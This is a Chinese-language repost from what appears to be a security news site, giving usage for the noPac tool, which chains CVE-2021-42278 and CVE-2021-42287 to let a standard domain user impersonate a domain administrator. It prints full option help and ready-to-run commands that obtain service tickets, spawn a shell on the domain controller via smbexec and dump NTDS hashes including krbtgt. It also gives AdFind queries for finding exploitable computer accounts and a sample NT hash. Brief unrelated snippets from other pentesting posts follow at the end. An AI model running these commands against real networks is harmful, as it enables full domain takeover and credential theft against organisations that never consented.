利用CVE-2021-42278和CVE-2021-42287从标准域用户模拟 DA

VSole2022-10-12 07:08:25

利用 CVE-2021-42278 和 CVE-2021-42287 从标准域用户模拟 DA,该项目修改自 sam-the-admin

项目地址:

https://github.com/Ridter/noPac
https://github.com/cube0x0/noPac
https://github.com/WazeHell/sam-the-admin

0x01 用法

SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain
positional arguments:  [domain/]username[:password]                        Account used to authenticate to DC.
optional arguments:  -h, --help            show this help message and exit  --impersonate IMPERSONATE                        target username that will be impersonated (thru S4U2Self) for quering the ST. Keep in mind this will only work if the identity provided in this scripts is allowed for delegation to the SPN specified  -domain-netbios NETBIOSNAME                        Domain NetBIOS name. Required if the DC has multiple domains.  -target-name NEWNAME  Target computer name, if not specified, will be random generated.  -new-pass PASSWORD    Add new computer password, if not specified, will be random generated.  -old-pass PASSWORD    Target computer password, use if you know the password of the target you input with -target-name.  -old-hash LMHASH:NTHASH                        Target computer hashes, use if you know the hash of the target you input with -target-name.  -debug                Turn DEBUG output ON  -ts                   Adds timestamp to every logging output  -shell                Drop a shell via smbexec  -no-add               Forcibly change the password of the target computer.  -create-child         Current account have permission to CreateChild.  -dump                 Dump Hashs via secretsdump  -use-ldap             Use LDAP instead of LDAPS
authentication:  -hashes LMHASH:NTHASH                        NTLM hashes, format is LMHASH:NTHASH  -no-pass              don't ask for password (useful for -k)  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on account parameters. If valid credentials cannot be found, it will use the ones specified in the command line  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)  -dc-host hostname     Hostname of the domain controller to use. If ommited, the domain part (FQDN) specified in the account parameter will be used  -dc-ip ip             IP of the domain controller to use. Useful if you can't translate the FQDN.specified in the account parameter will be used
execute options:  -port [destination port]                        Destination port to connect to SMB Server  -mode {SERVER,SHARE}  mode to use (default SHARE, SERVER needs root!)  -share SHARE          share where the output will be grabbed from (default ADMIN$)  -shell-type {cmd,powershell}                        choose a command processor for the semi-interactive shell  -codec CODEC          Sets encoding used (codec) from the target's output (default "GBK").  -service-name service_name                        The name of theservice used to trigger the payload
dump options:  -just-dc-user USERNAME                        Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. Implies also -just-dc switch  -just-dc              Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)  -just-dc-ntlm         Extract only NTDS.DIT data (NTLM hashes only)  -pwd-last-set         Shows pwdLastSet attribute for each NTDS.DIT account. Doesn't apply to -outputfile data  -user-status          Display whether or not the user is disabled  -history              Dump password history, and LSA secrets OldVal  -resumefile RESUMEFILE                        resume file name to resume NTDS.DIT session dump (only available to DRSUAPI approach). This file will also be used to keep updating the session's state  -use-vss              Use the VSS method insead of default DRSUAPI  -exec-method [{smbexec,wmiexec,mmcexec}]                        Remote exec method to use at target (only when using -use-vss). Default: smbexec

注意:如果没有指定-host-name,工具会自动获取域控制主机名,请选择-dc-ip指定的主机的主机名。如果未指定 --impersonate,该工具将随机选择要利用的域管理员。默认使用 ldaps,如果遇到 ssl 错误,请尝试添加 -use-ldap 。

获取ST

python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203

自动获取Shell

python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 -shell --impersonate administrator

转储哈希

python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 --impersonate administrator -dumppython noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 --impersonate administrator -dump -just-dc-user cgdomain/krbtgt

0x02 扫描器

python scanner.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203

0x03 MAQ = 0

方法一

找到当前用户可以修改的计算机。

AdFind.exe -sc getacls -sddlfilter ;;"[WRT PROP]";;computer;domain\user  -recmute

Exp:添加 -no-add 并使用 -target-name .

python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.200 -dc-host dc2008 --impersonate administrator -no-add -target-name DomainWin7$ -old-hash :2a99c4a3bd5d30fc94f22bf7403ceb1a -shell

警告!!请勿通过ldaps或samr修改域内计算机的密码,可能会破坏计算机与主域之间的信任关系!!

方法二

找到 CreateChild 账号,并使用该账号进行漏洞利用。

AdFind.exe -sc getacls -sddlfilter ;;"[CR CHILD]";;computer; -recmute

Exp:添加 -create-child

python noPac.py cgdomain.com/venus:'1qaz@WSX' -dc-ip 10.211.55.200 -dc-host dc2008 --impersonate administrator -create-child

target
本作品采用《CC 协议》,转载必须注明作者和本文链接
一次简单的渗透测试记录
0x01 目标某平台系统0x02 流程0x03 测试拿到站点后先做信息收集,扫描目录看看有无敏感信息寥寥无几,没有任何信息,启动burpsuite打开网站走一遍流程。在创建目标处存在图片上传接口,上传shell试试。
目录拆分爆破工具
2023-06-30 15:03:45
0x01 工具介绍burp开启被动扫描获取到大量target或者爬虫获取到大量target时,经常会出现以下URL的情况,手工无法对目录进行拆分进行简单的目录爆破,所以有了这款工具,思路比较简单,望批评指教。0x02 安装与使用1、burp案例,复制所有url到工具即可。
该计划专门寻找有关国家安全威胁的信息,知情人士如果能够向其提供有关于“Target”以及 “Tramp”、“Dandis”、“Professor” 和 “Reshaev” 这 5 名成员的信息,那么将可以获得最高 1000 万美元的赏金。AvosLocker、BlackCat 和 Hello Kitty。
需要llvm 11+,这是当前afl支持的效率最高的选择,也意味着编译要花更长时间。实现了编译级插桩,效果比汇编级插桩更好。从编译的实现流程上理解插桩模式差异:afl-gcc插桩分析考虑到afl的插桩方式随编译器的选择而变化,从最简单的afl-gcc开始入手。
可以看到有两个printf函数打印了一些数据出来,我们点第一个打印的字符串。
xsshelp闲着没事随便写的一个辅助挖掘xss漏洞的工具xsshelp version: 1.0.0Usage: [-ut] [-u url] [-t thread] [-h help]Options: -h this help -t intthread Num -u string a target url
目标是拥有许多不同的功能,包括团队管理和邀请用户加入团队。但是在这个端点中,链接是由服务器在响应中发送的。我实际上能够更改组织发布博客内容的博客帐户的密码,并以这种方式显示影响。如果未经验证,我们可能会错过很多东西。始终在响应中可见任何敏感信息的地方记录端点。
VSole
网络安全专家